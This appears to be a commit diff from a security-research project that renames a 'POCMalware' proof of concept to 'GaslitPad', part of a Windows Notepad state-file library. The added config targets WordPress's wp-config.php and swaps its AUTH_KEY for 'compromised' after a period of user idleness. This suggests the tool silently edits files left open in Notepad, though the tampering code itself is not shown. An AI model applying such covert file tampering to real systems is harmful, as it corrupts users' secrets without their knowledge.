GaslitPad

Author: ogmini

NotepadStateLibrary/NotepadStateLibrary.sln

@@ -9,9 +9,11 @@ Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "TestApp", "TestApp\TestApp.
 EndProject
 Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "WindowsNotepadParser", "WindowsNotepadParser\WindowsNotepadParser.csproj", "{D1DC00E6-9FB4-40C3-91DD-F7B5FEC49EFF}"
 EndProject
-Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "POCMalware", "POCMalware\POCMalware.csproj", "{F8E93D84-FDD9-4BDB-AC77-2A0239AB03BE}"
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "GaslitPad", "POCMalware\GaslitPad.csproj", "{F8E93D84-FDD9-4BDB-AC77-2A0239AB03BE}"
 EndProject
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WindowsNotepadParser-Minimal", "WindowsNotepadParser-Minimal\WindowsNotepadParser-Minimal.csproj", "{36605D94-34FE-43DA-9FEF-B29DEF79644B}"
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "WindowsNotepadParser-Minimal", "WindowsNotepadParser-Minimal\WindowsNotepadParser-Minimal.csproj", "{36605D94-34FE-43DA-9FEF-B29DEF79644B}"
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ValidationTests", "ValidationTests\ValidationTests.csproj", "{532A36A6-70FC-4F80-BED0-7FEDDA8DA9B4}"
 EndProject
 Global
 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
@@ -39,6 +41,10 @@ Global
 		{36605D94-34FE-43DA-9FEF-B29DEF79644B}.Debug|Any CPU.Build.0 = Debug|Any CPU
 		{36605D94-34FE-43DA-9FEF-B29DEF79644B}.Release|Any CPU.ActiveCfg = Release|Any CPU
 		{36605D94-34FE-43DA-9FEF-B29DEF79644B}.Release|Any CPU.Build.0 = Release|Any CPU
+		{532A36A6-70FC-4F80-BED0-7FEDDA8DA9B4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{532A36A6-70FC-4F80-BED0-7FEDDA8DA9B4}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{532A36A6-70FC-4F80-BED0-7FEDDA8DA9B4}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{532A36A6-70FC-4F80-BED0-7FEDDA8DA9B4}.Release|Any CPU.Build.0 = Release|Any CPU
 	EndGlobalSection
 	GlobalSection(SolutionProperties) = preSolution
 		HideSolutionNode = FALSE

NotepadStateLibrary/POCMalware/App.config

@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<configuration>
+	<appSettings>
+		<add key="attackFileName" value="wp-config.php" />
+		<add key="attackRegex" value="define\('AUTH_KEY',\s*'[^']+'\);" />
+		<add key="attackReplace" value="define('AUTH_KEY',         'compromised');" />
+
+		<add key="idleWaitTime" value="10"/>
+		<add key="pollingInterval" value="1000"/>
+	</appSettings>
+</configuration>

…tateLibrary/POCMalware/POCMalware.csproj …StateLibrary/POCMalware/GaslitPad.csprojNotepadStateLibrary/POCMalware/POCMalware.csproj renamed to NotepadStateLibrary/POCMalware/GaslitPad.csproj NotepadStateLibrary/POCMalware/POCMalware.csproj renamed to NotepadStateLibrary/POCMalware/GaslitPad.csproj

@@ -8,6 +8,7 @@
   </PropertyGroup>
 
   <ItemGroup>
+    <PackageReference Include="System.Configuration.ConfigurationManager" Version="9.0.1" />
     <PackageReference Include="System.Management" Version="8.0.0" />
   </ItemGroup>
 

NotepadStateLibrary/POCMalware/InputTimer.cs

@@ -1,7 +1,7 @@
 using System.ComponentModel;
 using System.Runtime.InteropServices;
 
-namespace POCMalware
+namespace GaslitPad
 {
     public static class InputTimer
     {